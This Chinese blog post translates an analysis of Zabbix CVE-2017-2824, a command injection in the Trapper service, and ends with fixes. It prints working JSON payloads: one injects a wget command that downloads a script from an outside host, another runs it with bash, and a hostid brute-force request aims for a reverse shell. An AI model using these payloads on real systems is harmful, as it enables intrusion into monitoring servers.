近日,Cisco Talos组织的向zabbix反馈了个远程代码执行漏洞,漏洞编号CVE-2017-2824,简单看了看,查了点资料,翻译整理下该漏洞。
不熟悉zabbix proxy和zabbix server,不确定是不是server必须指定proxy才可以互相进行通信,还是任意proxy都可以向zabbix server发起请求。因此该漏洞是否鸡肋还不太确定,等搭建测试完才能知道是鸡肋还是危害较大。目前看还是有一些利用条件的,比如需要zabbix server配置Auto-discover/Auto registration功能,还有通信的时候有个key字段好像是zabbix server提前设定好的,不确定这个key如果不对,能不能discovery data成功,欢迎大神评论指点。
Zabbix的Trapper功能是一个提供给Zabbix Proxy和Zabbix Server的网络服务,通过TCP端口10050进行通信,类似一种api服务,其中有”discovery data”和”command”这两个请求。
其中command这个请求实际上调用的是Zabbix Server上给定主机的Scripts任务,在zabbix 2.4x版本,默认的有3条Scripts存在于mysql中的scripts表中,对应在zabbix server管理控制台上的功能是Administration-> Scripts-> Checkmarks,可以看到如下三条:
# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1 # scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1 # scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1
问题在于,在调用脚本时,{HOST.CONN}字段实际上被主机的IP地址替换。替换{HOST.CONN}的值位于Zabbix.interface表中,并作为VARCHAR(64)存储在“IP”字段中。因此,如果攻击者可以将恶意命令注入到IP地址字段,并且脚本通过“command”请求运行,则将发生命令注入,并且可以获得反向shell。
困难在于获取Zabbix.host表中的实际有效条目,默认情况下,未经身份验证的攻击者无法执行此操作,因此该CVE利用成功的前提是管理需要配置Zabbix Server的某些功能。Zabbix的一个便利特性是Auto-discover/Auto registration功能,可以根据代理提供的数据进行Zabbix Server的配置。更具体地说,如果主机向Zabbix Proxy呈现某些特性,它将自动添加到某些主机组并添加到hosts表中,但更重要的是,将在Zabbix.interface表中创建1个条目,其中IP地址由主机提供,不会对该字段进行任何验证。 因此,通过使用合适的主机向服务器发送“discovery data”请求,可以将命令注入到数据库中。用于利用服务器的请求如下所示:
write_script_cmd = '{ "request":"discovery data", "host":"zabbix-proxy.nxadmin.com", "clock":148535399, "data":[{ "clock":1485353070, "drule":88, "dcheck":174, "type":0, "ip":";wget -O /tmp/s http://www.nxadmin.com/s;#", "dns":"nxadmin.com", "port":10050, "key":"nxadmintest", "status":0, "value":"el7<(^_^)>mcp" }]}'
由于Zabbix.interface表中ip字段的长度是有限制的,因此还需要再发送一次”discovery data”的请求来注入执行/tmp/s的恶意命令,只需要将上面请求中ip的值修改成如下:
"ip":"/bin/bash /tmp/s;"
在将如上两条恶意命令注入到hosts字段之后,还需要使用command请求来执行上面的恶意命令,但是问题是不知道两条恶意命令对应的hostid。不过由于command请求成功和失败的回显是不同的,因此可以使用爆破hostid的方式来运行上面恶意的两条命令,command请求的格式如下:
run_cmd = '{ "request":"command", "scriptid":1, "hostid":14666 }'
从而可以利用/tmp/s反弹shell等等。
漏洞影响版本:
Zabbix 2.4.7 – 2.4.8r1
修复建议:
在Zabbix Server上增加ACL规则,限制10050端口允许通信的IP来源;
删除zabbix server上默认的脚本,对应的功能Administration-> Scripts-> Checkmarks;
Zabbix工程师的补丁修复建议包括在插入Zabbix.interface表中的ip字段时,验证所有的ip地址。
有关zabbix proxy的简单介绍:
Zabbix proxy是一个监控代理服务器,它收集监控到的数据,先存放在缓冲区,保存的时间可以通过配置文件设定,然后再传送到Zabbix server;监控代理需要一个单独的数据库,类似于一个分担zabbix server压力的功能,或者在多机房部署的时候,其中一个机房使用zabbix proxy 模式,然后统一上报给zabbix server。大概的架构图:
原分析文章链接:
http://blog.talosintelligence.com/2017/04/zabbix-multiple-vulns.html